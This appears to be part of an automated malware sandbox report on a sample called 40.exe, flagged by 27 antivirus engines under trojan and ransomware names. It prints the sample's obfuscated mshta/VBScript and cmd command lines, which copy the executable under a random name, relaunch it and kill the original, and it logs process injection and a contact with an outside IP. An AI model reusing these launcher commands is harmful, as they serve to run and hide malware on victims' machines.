cmdline	"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
cmdline	MSHtA VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\40.exe"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """"== """" for %j In (""C:\Users\test22\AppData\Local\Temp\40.exe"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	CmD.EXE /c CopY /y "C:\Users\test22\AppData\Local\Temp\40.exe" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if ""=="" for %j In ("C:\Users\test22\AppData\Local\Temp\40.exe" ) do taskkill /F -Im "%~Nxj"
cmdline	CmD.EXE /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"
cmdline	"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL"). run ( "CmD.EXE /c CopY /y ""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA""== """" for %j In (""C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" ", 0 ,TRUE ))
cmdline	"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE &&START W7sP3HTJPToeET.exe /PCOd0LPl_yA&if "/PCOd0LPl_yA"=="" for %j In ("C:\Users\test22\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"

Communicates with host for which no DNS query was performed (1 event)

host

104.21.48.37

Resumed a suspended thread in a remote process potentially indicative of process injection (8 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2236 resumed a thread in remote process 1316
Process injection	Process 2408 resumed a thread in remote process 2296
Process injection	Process 2296 resumed a thread in remote process 2976
Process injection	Process 2296 resumed a thread in remote process 2776
NtResumeThread Sept. 20, 2021, 10:13 a.m.	thread_handle: 0x000002e4 suspend_count: 1 process_identifier: 1316	1	0	0
NtResumeThread Sept. 20, 2021, 10:13 a.m.	thread_handle: 0x000000f8 suspend_count: 0 process_identifier: 2296	1	0	0
NtResumeThread Sept. 20, 2021, 10:13 a.m.	thread_handle: 0x000002f0 suspend_count: 1 process_identifier: 2976	1	0	0
NtResumeThread Sept. 20, 2021, 10:13 a.m.	thread_handle: 0x00000328 suspend_count: 1 process_identifier: 2776	1	0	0

File has been identified by 27 AntiVirus engines on VirusTotal as malicious (27 events)

Bkav	W32.AIDetect.malware1
Lionic	Trojan.Win32.Cryprar.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.Ciusky.Gen.6
McAfee	Artemis!904B66229F5D
Cylance	Unsafe
BitDefender	Trojan.Ciusky.Gen.6
K7GW	Trojan ( 0057be3e1 )
Arcabit	Trojan.Ciusky.Gen.6
ESET-NOD32	RAR/Agent.DJ
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:Trojan.Win32.Cryprar.gen
Avast	FileRepMalware
Ad-Aware	Trojan.Ciusky.Gen.6
Sophos	Mal/Generic-S
McAfee-GW-Edition	BehavesLike.Win32.Generic.tc
FireEye	Trojan.Ciusky.Gen.6
Emsisoft	Trojan.Ciusky.Gen.6 (B)
Microsoft	Ransom:Win32/CerberCrypt.PB!MTB
ZoneAlarm	HEUR:Trojan.Win32.Cryprar.gen
GData	Trojan.Ciusky.Gen.6
Cynet	Malicious (score: 100)
ALYac	Trojan.Ciusky.Gen.6
Zoner	Probably Heur.RARAutorun
MaxSecure	Win.MxResIcn.Heur.Gen
AVG	FileRepMalware

40.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All